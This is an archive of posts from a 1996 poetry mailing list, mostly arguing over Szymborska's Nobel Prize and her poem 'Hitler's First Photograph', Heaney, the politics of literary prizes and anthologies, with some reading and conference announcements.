The idea that this is "solid" is like suggesting that a redwood burl coffee table is great sculpture (or "solid" sculpture). It's perhaps tighter than some of the conservative bad poems (as distinct from the conservative good ones, which frankly there are plenty of) out there, but it definitely depends on thinking that that old conceit is reason enough to write a poem and that the word "mossy" is in itself a sufficient revelation to ground its clanging sense of closure. What makes this "award winning" is a study in the social pathology of reading in our time, rather than a study in literature, no?

Ron Silliman

↑ Index

66. Douglas Messerli
Messerli returing to Szymbroska
Sat 5 Oct 1996

Dear Ron,

You're quite right about the comments you made about=20
translation. It is hard to truly evaluate a poet on the
basis of translation, although I do think--particularly
with a good translation (which this may not be)--one can
get a fair sense of the work, and in some (few) cases it can
actually make the work seem MORE interesting. Perhaps the=20
excellence of Swedish translation of Szymborska's work=20
accounts for the award--although the Nobel committee has
certainly made some atrocious choices in literature
over the last decade.

I was, of course, being intentionally provocative yesterday,
for several reasons. At times there seems to be a kind of
unstated notion on the list, a kind
a passive notion that all poetry is the same, and=20
no distinctions need be made, that we should never talk
about the "quality" of a poem.

More importantly: although I can enjoy a good dildo as much as the next man and woman, it does seem that it would be fun, occasionally, to turn our attention back to poetry and=20 the discussion of it.

I think "Hitler's First Photograph" is particularly bad,
however. I interprete the poem as a mildly ironic construction
with two possible ideas behind it:

1. That all children (and human beings) have the potential for great evil, and

2. Given the "cutsey" childlike attentions of the adults, that=20 whatever happened to the young Hitler boy, the culture helped=20 to instill.

Both of these ideas are a bit facetious: Certainly we may all have the potential for great evil, but fortunately there are not that many Hitlers. And although the culture may have instilled many of ideas that led to Hitler's actions, it was not committing the vast atrocities without him.

But what I object to even more than the thematics is the METHOD of=20 the poem. It relies simply on the one word--Hitler. Without that,=20 the entire work

would collapse. If you said the Strauss baby, for=20 example, the poem would be truly trite. But Szymborska relies solely=20 on the recognition by her readers that this is not just ANY child, but=20 the monster himself.=20

In short she has created a little construct that relies entirely upon the reader's agreement before he has even uttered the first word of=20 the poem. There is no discovery of anything in this poem; it is all=20 pre-determined before we have even begun. We will react as we do=20 because the poem hits at the point where the reflex is inevitable.

For me poetry (writing in general) is always a discovery, an uncover- ing, if you will, of questions more than answers, particularly=20 since it engages the very medium through which we recieve and=20 comprehend the world. There is no room for reflex actions or pre- conceived constructs in order for the poem to truly exciting.

Storytelling it is--as Henry Gould has responded. But I go with Pound every time: "Flaubert and De Maupassant lifted prose to the rank of a finer art, and one has no patience with contemporary poets who escape=20 from all the difficulties of the infinitely difficult art of good=20 prose by pouring themselves into loose verses." At another point,=20 Pound makes clear that he dismisses poets who are merely telling=20 stories by chopping up their lines into verse. For me storytelling=20 (which I love) and poetry are quite different arts.

This is only one poem, however, and I make no claims to know=20 Szymborska's oeuvre. But certainly none of the poems I read=20 (admittedly only seven short poems!) could compare with the poetry=20 of Lorine Niedecker (another so-called "homey" poet) or William=20 Carlos Williams, or George Oppen, or Louis Zukofsky, of Ezra Pound,=20 or Paul Celan, or Benjamin P=E9ret, or Marina Tsvetayeva, or=20 Tchicaya U Tam'si....the list could go on for a long while:=20 all poets who never received the Nobel Prize.

Thanks, Ron, for your good responses.

Douglas

At 04:17 AM 10/5/96 -0700, you wrote:
>Multiple comments here:
>
>Ward,
>
>Okay, I'll bite (munch):
>"The highlight, I thought, was Bernard Heidsieck who gave what was
>probably the most complete literary performance I've ever seen. As
>Mark McMorris said, it's surprising Heidsieck isn't better known in the
>U.S. He has an elegance and presence in performance that's quite

>rare."
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>I agree with you that he should be much more well known, but I'd love
>to know what about his performance made it "the most complete
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>nuances.
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>Baudelaire abound. I try to imagine how hard it must be translate
>certain American and Canadian poets (Rae Armantrout's poems, for
>example, are so taught and yet fully coded in a particular idiom that
>one would have to either jettison a world of nuance [precisely what
>gives her poems their remarkable depth] or else puff them out the way
>popped corn kernals are, which might end up looking like some of
>Szymborska's poems.
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>Heaney on the other hand might be an argument for recognition of
>different modes of English as different languages, but... reading works
>like the one below (and I've found this sort of stuff in every piece of
>his I've ever read), I cannot imagine the self respecting poet who
>would not simply cringe at that "cuckoo your name" line, which happens
>to be the hinge of this whole hoary construction. Beyond that, he's
>simply putting the pathetic back into its fallacy, no?
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> Oracle
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>conservative good ones, which frankly there are plenty of) out there,
>but it definitely depends on thinking that that old conceit is reason
>enough to write a poem and that the word "mossy" is in itself a
>sufficient revelation to ground its clanging sense of closure. What
>makes this "award winning" is a study in the social pathology of
>reading in our time, rather than a study in literature, no?
>
>Ron Silliman
>

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67. alan sondheim

Re: Messerli returing to Szymbroska

Sat 5 Oct 1996

Well, I personally like the fact that the poem rises or falls on "Hitler" - that the word disorients the whole. The other point here is the rela- tion of the Poetics list to traditional and other poetics/ries - Why _this_ poem up for critique and not one of the less traditional - which have been far more numerous? Is inter-penetrated abstraction harder to judge? Are we too polite?

There was a billowing and uncomfortable softness to the Szymbroska poem, even in translation, that reminded me of Dali's Hitler comments, equally uncom-fortable; I'm not at all that willing to dispose so succinctly. As far as facetious-ness, it was a poem, not a thesis, but it does open itself to thesis/plural, just as any poem does, even bad ones.

Alan

http://jefferson.village.virginia.edu/~spoons/internet_txt.html
images: http://www.cs.unca.edu/~davidson/pix/
desire in deity (D.G.R)

↑ Index

68. Douglas Messerli

Re: Messerli returing to Szymbroska

Sat 5 Oct 1996

Alan,

I guess it depends upon how you define words like "traditional." For me, the tradition of 20th Century poetry has been one of innovation and experimentation. The "billowing and uncomfortable" softness which you describe is characteristic of a great many poems (of any generation) which are often described as more "traditional" or as (and I think this is a misnomer, even though I have used it myself) "academic." I just think they're weaker poems, outside of the great tradition of 20th century writing.

As for delimiting the critique, I'd have no limits. I just felt the need to react to the high praise poured upon poets who have won the Nobel Prize.

Enough said from me. But I hope others will go on.

Douglas

At 12:52 PM 10/5/96 -0400, you wrote:
>Well, I personally like the fact that the poem rises or falls on "Hitler"
>- that the word disorients the whole. The other point here is the rela-
>tion of the Poetics list to traditional and other poetics/ries - Why
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> desire in deity (D.G.R)
>

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69. **alan sondheim**

Re: Messerli returing to Szymbroska

Sat 5 Oct 1996

By "billowing and uncomfortable" softness, I was referring to the contents of the poem, not the style (which I agree with you about of course) - I just wanted to clarify this. It reminded me in a weird way of Sartre's Childhood of a Leader.

Alan

On Sat, 5 Oct 1996, Douglas Messerli wrote:

> *Alan,*
>
> *I guess it depends upon how you define words like "traditional." For me, the tradition of 20th Century poetry has been one of innovation and experimentation. The "billowing and uncomfortable" softness which you describe is characteristic of a great many poems (of any generation) which are often described as more "traditional" or as (and I think this is a misnomer, even though I have used it myself) "academic." I just think they're weaker poems, outside of the great tradition of 20th century writing.*
>
> *As for delimiting the critique, I'd have no limits. I just felt the need to react to the high praise poured upon poets who have won the Nobel Prize.*
>
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>
> *Douglas*
>
> *At 12:52 PM 10/5/96 -0400, you wrote:*
> *Well, I personally like the fact that the poem rises or falls on "Hitler" - that the word disorients the whole. The other point here is the relation of the Poetics list to traditional and other poetics/ries - Why _this_ poem up for critique and not one of the less traditional - which have been far more numerous? Is interpenetrated abstraction harder to judge? Are we too polite?*
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> *desire in deity (D.G.R)*

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images: http://www.cs.unca.edu/~davidson/pix/
desire in deity (D.G.R)

↑ Index

70. **Ward Tietz**
Re: Heidsieck
Sat 5 Oct 1996

Ron,

I suppose what I was thinking of with Heidsieck was a perception of fullness and dimension in his performance that I rarely experience at typical readings of fiction or poetry. I think this probably has something to do with a slightly different understanding of the formal possibilities of reading. In Heidsieck's case I think this comes from experimentation outside of the normal channels of writing, with tape recorders, multi-track recording, etc., that stress different units of sense, rhythm and sound. This allows him, I think, to conceptualize and perform a reading with a wider range of expressive solutions. He started one piece, for example, in a gravely whisper and went through a very varied range of articulation in speed, volume and tone that I think would have been very difficult to conceptualize without a considerable background in sound or music.

I think this applies to someone like Robert Ashley too, although certainly in Ashley's work music is a much more important element. But again a sense of sound and performance that is developed outside of textual practice becomes available to reading, and is reclaimed in some ways as another dimension of the text.

It's tricky because it gets back to a notion of what the material was in the first place and how it was formalized. With Heidsieck you get the sense that what's performed could function autonomously as a text. There is a sense of solidity and craft that almost offers the performance as a bonus or surplus, but then it's the strength of the performance that convinces you of this fact, so it's difficult to say finally what enforces the criteria.

I think this sort of thing is somewhat rare in sound poetry. The more conceptual approach taken by Gerhard Ruehm, for example, or the more phonemical and sound oriented work of Henri Chopin, tend to bypass textual paradigms, and in many other cases where literary forms are foregrounded there is often

some incommensurability that goes along with it. The text was mediocre, but the performance of it was good, etc. With Heidsieck it was all there.

Ward Tietz

↑ Index

71. Judy Roitman

Re: Messerli returing to Szymbroska

Sat 5 Oct 1996

Doug Messerli write:
>
>But what I object to even more than the thematics is the METHOD of=20
>the poem.... she has created a little construct that relies entirely upon
>the reader's agreement before he has even uttered the first word of=20
>the poem. ... But certainly none of the poems I read=20
>(admittedly only seven short poems!) could compare with the poetry=20
>of Lorine Niedecker (another so-called "homey" poet) or William=20
>Carlos Williams, or George Oppen, or Louis Zukofsky, of Ezra Pound,=20
>or Paul Celan, or Benjamin P=E9ret, or Marina Tsvetayeva, or=20
>Tchicaya U Tam'si....the list could go on for a long while:=20
>all poets who never received the Nobel Prize.
>

Right, and isn't that kind of the point? How many Nobel winners got legs? In 100 years who'll read stuff that just confirms that the cliches of folks in 1996? And if its marginally clever, wow, the reader gets to feel smart too.

We have a guy in town here who wrote a whole chapbook on Mengele -- Mrs. Mengele worried about her husband's health, that kind of thing. So embarrassing! And they asked him to read at the Jewish Center! And people told me what a shame it was that I missed it!

---------- Judy Roitman
| "Glad to have Math, University of Kansas | these copies of things
Lawrence, KS 66045 | after a while." [redacted]
| Larry Eigner, 1927-1996

↑ Index

72. Pierre Joris

[Fwd:]

Sat 5 Oct 1996

This is a multi-part message in MIME format.

hmm, fear & loathing near vegas... if I still had my old mustang, I'd drive out to hear that jam... Pierre

ps. Douglas seems rather accurate in his evaluation of the latest wet-dynamite prize winner. but who worries about the nobel anyway? writers rarely get it, it's mainly the likes of Pearl Buck or Shameless Hussy, this Brit generation's token Irish. The kiss of death, as Sartre knew, & therefore refused to accept it.

Pierre

From: [redacted] Date: Sat, 5 Oct 1996 14:05:21 -0400

Date: Sat, 5 Oct 1996 09:35:28 -0800
From: [redacted]
To: [redacted]
Subject: CONFERENCE ANNOUNCEMENT: BAUDRILLARD/STONE/DIPRIMA/NEVADA

[NOTE: Spoon-Announcements is not a list; it's a mechanism for distributing information of potentially general interest to all subscribers of the Spoon Collective's mailing lists without bombarding them with cross-postings.]

[The following text is in the "iso-8859-1" character set]
[Your display is set for the "US-ASCII" character set]
[Some characters may be displayed incorrectly]

would you be so kind as to post this for me?

i thank you in advance - edi vaché

CONFERENCE ANNOUNCEMENT:
CHANCE: 3 DAYS IN THE DESERT

JEAN BAUDRILLARD PLAYS (near) VEGAS
with ALLUCQUERE ROSANNE STONE & DIANE DI PRIMA

WHEN? November 8 - 10, 1996
WHERE? Whiskey Pete's Casino, Primm Nevada (see below)
HOW? Check out the CHANCE website at:
http://www.artcenter.edu/events/chance.html
email: [redacted]
phone: 818/[redacted] & 213/[redacted]

WHAT?..... CHANCE is a philosophical rave & summit meeting between artists & philosophers, chaosophists & croupiers, mathematicians & musicians at Whiskey Pete's Casino in the Nevada desert. A CHANCE to redefine this century's romance with randomness & synchronicity less innocently for our era.

CHANCE to explore the multiplicity of identity.

Three days of chance encouters, gambling & deep thought with Jean Baudrillard, Allucquere Rosanne Stone & 30 other internationally active cultural strategists.....Music from the San Francisco bands Towel & Ohm-a-Revelator.....a one-time mystery jam between six special guest star musicians with Red Krayola lead guitarist Tom Watson.....the intensely nameless beauty of Oguri & Renzoku butoh.....a roving fun-house of installation art & readings organized by Sarah Gavlak, Pam Strugar & Dan Frydman.

Appearing in addition to Baudrillard, Stone & diPrima will be

DOUGLAS HEPWORTH, Wall Street Chaos Trader
DJ SPOOKY, That Subliminal Kid
SHIRLEY TSE, Hong Kong Artist
ANN ROWER, New York Writer
SYLVERE LOTRINGER, Semiotext(e)ician
JEREMY GILBERT-ROLFE/THE CHANCE BAND/SHEPPARD POWELL
& THE CHANCE OF THE UNKNOWN

Primm, Nevada is located at the border of Nevada & California: Paiute nuclear waste specialist Calvin Meyers will lead a desert walk & talk about the desecration of tribal land.

WHO? As above..... & YOU!

WHY?

the Outsider bOOkstore
4505 fountain avenue
los angeles, ca 90029
213/[redacted]
[redacted]

''..*.:'*..+..'*..+.''why be good? be beautiful & be sad!''..*.:'*..+.
+....'' .....*.:'*..' ..****..-:charles baudelaire, by trunc:-....*.:'*..'.....**....

----------2A5B7FA42F62--

↑ Index

73. henry
Re: Messerli returing to Szymbroska
Sat 5 Oct 1996

But Doug, what if your idea of the "idea" behind the poem is off the mark? What if the un-Poundian "looseness" of the [unjudgeably translated] verse is an effect of concision - i.e., say Szymborska was less concerned with rhythm and mellifluousness than with brevity and impact? Setting aside the question of whether we can so neatly dissect the idea/poem - what if her "idea" is simply to present

the shock of 20th century horror and disaster buried, encapsulated in the single image of Hitler/child? i.e. concision - one of the few (admittedly ambiguous) ways poetry has of speaking the unspeakable. - Henry Gould

↑ Index

74. **henry**
Re: Messerli returing to Szymbroska
Sat 5 Oct 1996

Hey Judy, maybe you should nominate that poet for the Nobel. His work seems to mean a lot to the people around your part of the country. And heck, maybe when he's translated into Polish, or the other European languages, all the dumb slobs over there who want to feel smart will get a kick out of it too. Gee, aren't prizes dumb? - Henry Gould

↑ Index

75. **George Bowering**
Re: Messerli returing to Szymbroska
Sat 5 Oct 1996

> *By "billowing and uncomfortable" softness, I was referring to the contents of the poem, not the style (which I agree with you about of course) - I just wanted to clarify this. It reminded me in a weird way of Sartre's Childhood of a Leader.*
>
> *Alan*

I am having trouble, as this thread ravels, understanding what A Sondheim is saying here. First, I have tyrouble with the concept of "content" in a poem. But ignoring that for the moment, how can there be, as "content", some "billowing and uncomfortable softness." I just can not get my head around this.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

76. Anselm Hollo
Szymborska/Heaney/Nobels
Sun 6 Oct 1996

Subject: Szymborska/Heaney/Nobels

Both Szymborska's and Heaney's works are examples of the kind of poetry favored by the Nobel Prize Committee (not to mention the U.S."mainstream" press and large tracts of academia).

It's the SLOW and UNDEMANDING kind.

Poetry that moves at speeds even a little higher than the average firing of neurons in a Committee member's brain, or (and perhaps, hence) requires her/him to read it more than twice, is automatically eliminated. The rest is "cultural" "politics" and has never been anything else.

It is, of course, unfortunate that the public at large, presented with poorly translated snippets such as those printed in the U.S. press (of Szymborska's work), has once again received its annual confirmation of the utter triviality and irrelevance of poetry. "If THIS is the BEST...".

NB: It is also not surprising that three recent Nobel laureate poets (the late Josef Brodsky, Derek Walcott, and Seamus Heaney) have just appeared as co-authors of a festschrift to, you guessed it, the pretty darn slow and undemanding Robert Frost.

"'Something there is that doesn't hump a sump,'
He said; and through his head she saw a cloud
That seemed to twinkle."
--Kenneth Koch, "Mending Sump," 1950

Cheers,

Anselm Hollo

↑ Index

77. Simon or Chris
nobel prize
Sun 6 Oct 1996

Hey wait a minute, the Nobel prize in literature is political (in the New York Times front page sense) rather than literary, even if sometimes writers of genuine literary value win. The Szymborska prize is related to bringing Poland into Europe, along with promises of NATO enlargement and eventual EU membership. The last two "Polish" Nobel Laureates (I.B. Singer and Czeslaw Miloscz) were American citizens; Singer didn't even write in Polish. She is

representative of Polish intellectuals who did not go into exile and maintained integrity despite Communism etc etc. She gets the prize instead of the somewhat better known Zbignew Herbert because (I'm guessing) of a) her gender and b) Herbert's international reputation presupposes a greater degree of compromise with the authorities. I don't know the Polish language but I am sure that, within its parameters, she is a fine a poet. The way the prize seems to work is that a country or region is deemed due for the prize, and then the issue is, which of that locations leading writers is most appropriate -- thus, Oe Kenzaburo over Inoue Yasasushi or Endo Shusaku. I don't know what other Irish writer besides Heaney there was to chose from, but clearly the Northern Ireland peace process is responsible for his award. Meanwhile, Pearl Buck remains the only Chinese writer to have won, French writers seem scandalously underrepresented, etc.

↑ Index

78. alan sondheim

Re: Messerli returing to Szymbroska

Sun 6 Oct 1996

That's exactly my billowing and soft point, content-ed or no.

On Sat, 5 Oct 1996, George Bowering wrote:

> *By "billowing and uncomfortable" softness, I was referring to the contents of the poem, not the style (which I agree with you about of course) - I just wanted to clarify this. It reminded me in a weird way of Sartre's Childhood of a Leader.*
>
> *Alan*
>
> *I am having trouble, as this thread ravels, understanding what A Sondheim is saying here. First, I have tyrouble with the concept of "content" in a poem. But ignoring that for the moment, how can there be, as "content", some "billowing and uncomfortable softness." I just can not get my head around this.*
>
> *George Bowering.*
>
> *,*
>
> *2499 West 37th Ave.,*
> *Vancouver, B.C.,*
> *Canada V6M 1P4*
>
> *fax:* [redacted]

> *e-mail:* [redacted]

http://jefferson.village.virginia.edu/~spoons/internet_txt.html
images: http://www.cs.unca.edu/~davidson/pix/
desire in deity (D.G.R)

↑ Index

79. alan sondheim
Re: Szymborska/Heaney/Nobels
Sun 6 Oct 1996

Who is poetry for?

This is the basis of the entire thread. Frost, like it or not (and I'm not fond of him), has a wide-spread audience, much larger than most of the people, if not all of us, writing on Poetics. So we decry demographics, yes? We retain a certain purity against slow and undemanding work?

Alan

On Sun, 6 Oct 1996, Anselm Hollo wrote:

> *Subject: Szymborska/Heaney/Nobels*
>
> *Both Szymborska's and Heaney's works are examples of the kind of poetry favored by the Nobel Prize Committee (not to mention the U.S."mainstream" press and large tracts of academia).*
>
> *It's the SLOW and UNDEMANDING kind.*
>
> *Poetry that moves at speeds even a little higher than the average firing of neurons in a Committee member's brain, or (and perhaps, hence) requires her/him to read it more than twice, is automatically eliminated. The rest is "cultural" "politics" and has never been anything else.*
>
> *It is, of course, unfortunate that the public at large, presented with poorly translated snippets such as those printed in the U.S. press (of Szymborska's work), has once again received its annual confirmation of the utter triviality and irrelevance of poetry. "If THIS is the BEST...".*
>
> *NB: It is also not surprising that three recent Nobel laureate poets (the late Josef Brodsky, Derek Walcott, and Seamus Heaney) have just appeared as co-authors of a festschrift to, you guessed it, the pretty darn slow and undemanding Robert Frost.*
>
> *"'Something there is that doesn't hump a sump,'*
> *He said; and through his head she saw a cloud*
> *That seemed to twinkle."*

> *--Kenneth Koch, "Mending Sump," 1950*
>
> *Cheers,*
>
> *Anselm Hollo*

http://jefferson.village.virginia.edu/~spoons/internet_txt.html
images: http://www.cs.unca.edu/~davidson/pix/
desire in deity (D.G.R)

↑ Index

80. George Bowering
Re: Giscombe/Fugitive
Sun 6 Oct 1996

Dodie, my jaw dropt when I heard about your students' remarks regarding Giscombe's essay. I couldnt believe it. Holy shit! No, I have never run into anything like this. Maybe racist Canadian students are more reserved.

George Bowering.
,
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

81. George Bowering
Re: Giscombe/Fugitive
Sun 6 Oct 1996

> *Dodie, Maria, et al:*
>
> *The students you are describing are having a natural reaction to your class. Not natural in the sense that they are correct in their reactions, but natural in that what they (probably most) are exposed to up to the point of your class result predictably in those reactions.*

No, Daniel, that is not a natural reaction. That is a conditioned response. It is something they pick up from their racist families and friends, etc. Nature never was guilty of that kind of prejudice.

George Bowering.
,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

82. Thomas Bell
Re: poetry and play
Sun 6 Oct 1996

---

resend to old thread

I'm sure there are several on the list more conversant with the poetic and language implications of the following. For me it also has some interesting psychological and neuropsycholical implications:

"that spell of the "sheer sound of words" which bursts out in the expressive, sorcerous, and mythopoetic tasks of language, and to the utmost extent in poetry...endowing the distinctive features themselves with the power of _immediate_ signification.....in rereading the poem 'Das grosse Lalula' of Christian Morgenstern in his book of _Galgenlieder_ introduced by Zarathrustra's saying - 'a true man conceals in himself a child who wants to play' - one is struck by lines...with glossolalic _ntr_, ...[and] counting-out rhymes....it was precisely the counters of children's games which inspired the versicle '_Vanja-banja_' ...by the Russian avant-garde poet Elena Guro (1877-1913)." (234)

"the drive for autonomization through the use of the sound shape with no evident meaning attached...[as in] glossalalia....[and a] magical formula chanted for protection.... Such usage is correlated with the magical function of language. It is seen as a way for the human and the divine, the human and the superhuman, to communicate. Obvious resemblences to avant-garde poetry...; to children's counting-out rhymes...; to the verbal play which children seem to delight in...; and to magical phraseolical expressions. All of these uses show the so-to-speak 'spell' of the speech sounds...the drive for autonomization and _immediacy_ of the distinctive features is associated with the mythical, the poetic, the magical, and the playful use of language." (270) Waugh and Jacobsen, _The Sound Shape of Language", de Gruyter, 1987

tom bell

↑ Index

83. Joe Amato
Re: Szymborska/Heaney/Nobels
Sun 6 Oct 1996

i think, as alan says, the question does turn on what poetry is for, who it's for, etc...

clearly, whether we find it merely interesting or useful or trivializing or politically motivated or commercial, poetry has its uses... now if you come at it in literary terms, and you're careful to define what those terms are, you can probably argue for the aesthetic value of just about anything... and poetry as a contested site then turns on the specifically literary value one finds in it...

which is not to say that it isn't somehow political at the same time (as are all consequent judgments)...

but if you come at it in political terms, it may be that lamentably simplistic poetry (from somebody's literary angle, i mean) does enormous political or cultural work...

so it does seem---what i'm trying to say, sorry for not saying it sooner---that in passing judgment, we ought at least to be willing to clarify our presuppositions... this list has a good number of folks subbed who subscribe as well to an interest in and positive appraisal of langpo (right?), hence it's somewhat less than surprising to find criticism here of nobel laureate work... i would like to think we might at times be just as critical of langpo work (have we been?---which we? which work?)... and i would like to think, in any case, we would try to serve up our judgments with due regard for other aesthetics & politics and such like... which is to say, make legible what it is we come to poetry for...

perhaps the problem, specifically, is that there's more than two aesthetics around these parts...?...

joe

↑ Index

84. Jordan Davis
Frost's audience
Sun 6 Oct 1996

Uh, I hate to mention this, but _North of Boston_ and _New Hampshire_ are pretty clever books of poetry in which one hears the rumblings of future Creeleys Kochs Berrigans ets ceterae. That may just be my weetabix settling now, of course, but wasn't the concern for audience--the will to audience--the (to be Olsonian about it) FACT of Frost?

Jordan

PS I think Simon's 'political' reading of the Nobels is absolutely correct--

↑ Index

85. Yunte Huang
Re: nobel prize
Sun 6 Oct 1996

Pearl Buck is Chinese? Nevah heard of it. Actually Chinese writers have been crying all the time that us chinks have never gotten anything from them Nordics. But the committee blamed on the translation. I blame the translation too, but for a different reason (see my essay "The Translator's Invisible hand: The Problems in the Introduction of Contemporary Chinese Poetry" in _River City_ Winter 1996 issue).

I'm really sick of my countrymen wanting the prize so bad. I like what Pierre Joris (hi, P, your recent visit at Buffalo was wonderful!) and Anselm Hollo said about this prize-winning event. Nobel Prize is not always the right place to look for interesting works. I won't be surprized at all if Bei Dao gets it in the near future, but the fact is Bei Dao's poetry is no longer interesting to many people. Go and read it if you don't believe me. The time when the Nobel Committee can no loger blame on the translation, when the translation of Bei Dao's poetry become smooth and transparent enough to cater to the committee member's taste (a tendency I bashed in my essay), Bei Dao will get it. But it will only give me more reasons to ignore whatever comes out of that royal academy.

Long liver revolution.
Yunte Huang

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86. Douglas Barbour
Re: POETICS Digest - 3 Oct 1996 to 4 Oct 1996
Sun 6 Oct 1996

About that Norton. Havng tried to teach from it, in a regularized course on British & American poetry post-WW2, so not looking for anything too far out, I still couldnt believe how bad the choices were for 'their' poets (bad on Lowell for example in some ways, very poor on Hughes), but also how absolutely awful the choices were for, say, Olson, in terms of what an anthology might be assumed to do, & then never no never after all these years, a sign of even a small serial poem from Spicer. I gave up. This doesnt sound much better (& up here, the cost!) I'd agree about the Oppen too. Let alone the recent writers -- feh!

>

>Date: Fri, 4 Oct 1996 10:37:24 -0700
>From: Jeremy F Green <[redacted]>
>Subject: The New Norton
>
>I don't know if this is an old thread (haven't had much time for
>lurking/reading lately), but has anyone had a look at the new (4th
>edition) Norton Anthology of Poetry? It's just about to hit the
>bookstores.
>
>I got a glimpse at it last night. Pre-20th century looks like a big
>improvement; 20th century very discouraging. Stein (from "Stanzas in
>Meditation") and Riding are now included, but the post-1950 selection is
>pretty horrific. A couple of Michael Palmer poems, but no Susan Howe, Lyn
>Hejinian, Charles Bernstein, etc., etc. Maybe the thinking was that Paul
>Hoover's Pomo. Norton had covered such "minority" interests, but please,
>Brad Leithauser?!
>
>And my particular pet peeve: STILL NO OPPEN.
>
>
>Jeremy Green

All the best

Doug

Douglas Barbour
Department of English
University of Alberta
Edmonton Alberta T6G 2E5
[redacted] FAX: [redacted]
H: [redacted]

'Metaphor is not sacred; it's just complex'

- Paula Gunn Allen

↑ Index

87. Douglas Barbour
Re: POETICS Digest - 4 Oct 1996 to 5 Oct 1996
Sun 6 Oct 1996

The exchange on 4 Oct was fascinating because I rreally felt something being thought & said. Silliman's comments making real sense, & I would go with Messerli on how all those ommissions 'prove' the problems of the Nobel,or

perhaps any prize. But maybe it's the 'play' of language in someone like Armantrout that can't be translated, while the 'thematic' of the Hitler poem is all too obvious. I could read it with s light smile & say, yeah, while with her stuff I'm always, delightedly, at sea, I admit. The shoe never does drop, so I keep coming back to watch the performance again. I do like the fact that for the first time since I starte getting this a week or so ago, there was some discussion about poetry & poetics (although I always enjoy George's disocveries of new dido poems, oops I mean dildo...

All the best

Doug

Douglas Barbour
Department of English
University of Alberta
Edmonton Alberta T6G 2E5
[redacted] FAX: [redacted]
H: [redacted]

'Metaphor is not sacred; it's just complex'

- Paula Gunn Allen

↑ Index

88. Douglas Messerli
Re: Messerli returing to Szymbroska
Sun 6 Oct 1996

Dear Henry,

My only response is that there are certainly much
better ways to present "horror and disaster." Indeed,
I didn't feel any "horror or disaster" from
her poem--she persumed it, but her poem certainly
didn't present me with any. That's my point. It's
all preconceived. No horror. No disaster in this
cutesy-pie poem.

Having just published a book on the "horrors" of Nazism
and World War II (part of a larger exploration of
evil in the 20th century) I'm most interested in methods
of presenting or--as I would prefer--discovering and
questioning the horrors of our past--and potential future.

Didn't see them in Szymbroska at all.

Douglas

At 08:20 PM 10/5/96 EDT, you wrote:
>But Doug, what if your idea of the "idea" behind the poem is off the mark?
>What if the un-Poundian "looseness" of the [unjudgeably translated] verse
>is an effect of concision - i.e., say Szymborska was less concerned with
>rhythm and mellifluousness than with brevity and impact? Setting aside the
>question of whether we can so neatly dissect the idea/poem - what if
>her "idea" is simply to present the shock of 20th century horror and disaster
>buried, encapsulated in the single image of Hitler/child? i.e. concision -
>one of the few (admittedly ambiguous) ways poetry has of speaking the
>unspeakable. - Henry Gould
>

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89. Lisa Jarnot
Ear Inn Series
Sun 6 Oct 1996

Hey you all: Here's an update from the Ear Inn:

Saturday October 5th was the first reading of the series, featuring Brooklyn poet Prageeta Sharma and Providence poet Mark McMorris. It was a rocking day-- Prageeta opening with new work (recently rejected by the Paris Review) which was very cool. Mark read some new and some old favorite poems which were "exposed, meandering, supine" and great. Mark has a brand new beautiful chapbook from Burning Deck (Mothwings) and his book The Black Reeds is coming out from University of Georgia Press in February.

The audience included fashionable luminous luminaries Jackson MacLow, Stacy Doris, Judith Goldman, baseball great Bill Luoma, Douglas Rothschild (of the New York Rothschilds), Chris Stroffolino, new new yorkers Anselm Berrigan and Lee Ann Brown, Drew Gardner, Joe and Leo Elliot, Segueway baron Dan Machlin, West Coast poet Robert V. Hale, Iowa poet Katy Lederer, Samuel Truitt, Sean Killian, Julie Patton, a table of unidentified poetry lovers and/or government agents, and a bunch of people watching baseball at the bar.

The Ear in is at 326 Spring Street, readings start at 2:30, $3 contribution.

Don't miss out on the fun/never a dull moment/sometimes a free beer-- if you happen to be in new york next saturday October 12 you can come to see Cliff "secret bard of the lower east side" Fyman and Lee Ann "crush groove" Brown. Cliff's been working on a new series of Mayer-esque experiments and Lee Ann will be reading from new and forthcoming work-- keep an eye out for her book Polyverse, soon to arrive from sun and moon.

↑ Index

90. Rod Smith
Re: Szymborska/Heaney/Nobels
Sun 6 Oct 1996

While I agree with Simon & Jordan that the Nobel is political-- it seems to me that this merely increases the need to raise aesthetic questions with regard to those anointed. Is the Nobel in Literature anything more than bad poets used for propaganda purposes? Occasionally it may be, though I have no examples at hand. This is not to say that the propoganda aims may not on occasion have some efficacy-- however it is one more example of the degree to which individuals are subject to state authority. That this is _so_ obvious is exactly why it needs to be pointed out.

The Best American Poetry 1996 edited by Adrienne Rich, was recently published. The introduction contains an epigram and two or three citations from Charles Bernstein's _A Poetics_. The book itself, which, admittedly, I have not examined carefully, seems to contain very little that would fall under the rubric "innovative writing." Past editions of this "Best" have included a number of such writers. So, discursive statements about the usefulness of an aesthetics of multiplicity are ok, but the actual practice of such. . . ? I'll look at the book a bit more, hopefully it's more interesting than it appears.

--Rod

↑ Index

91. Kevin Killian
Re: Szymborska/Heaney/Nobels
Sun 6 Oct 1996

At 9:26 AM 10/6/96, Joe Amato wrote:

> *so it does seem---what i'm trying to say, sorry for not saying it sooner---that in passing judgment, we ought at least to be willing to clarify our presuppositions... this list has a good number of folks subbed who subscribe as well to an interest in and positive appraisal of langpo (right?), hence it's somewhat less than surprising to find criticism here of nobel laureate work... i would like to think we might at times be just as critical of langpo work (have we been?---which we? which work?)... and i would like to think, in any case, we would try to serve up our judgments with due regard for other aesthetics & politics and such like... which is to say, make legible what it is we come to poetry for...*

This is NOT Kevin, this is Dodie.

I don't think anyone said S's poems were drivel because they weren't language poetry. They were declared drivel from the perspective of the type of poetry they were attempting to be (with reservations given due to the vagaries of

translation). Pushing this into a langpo versus the rest of poetry is irritating to me.

As far as political poetry goes, San Francisco is reeking with bad political poetry. Nobody's giving any of it a Nobel Prize.

From the perspective of someone trying against all odds to curate an "experimental" reading series (many of my readers would never want to be called langpos) I'm very appreciative of any space that provides a welcome environment to share and discuss the avante-garde. Even though I've been critical of the theory "boys" in the past I actually miss them on this listserv. Most of the world is against experimental writing. It's too bad this space has been co-opted by so many who share that againstness.

Dodie Bellamy

↑ Index

92. Rod Smith

new B City

Sun 6 Oct 1996

B City # 11
edited by Connie Deanovich & Mark Wallace

William Fuller
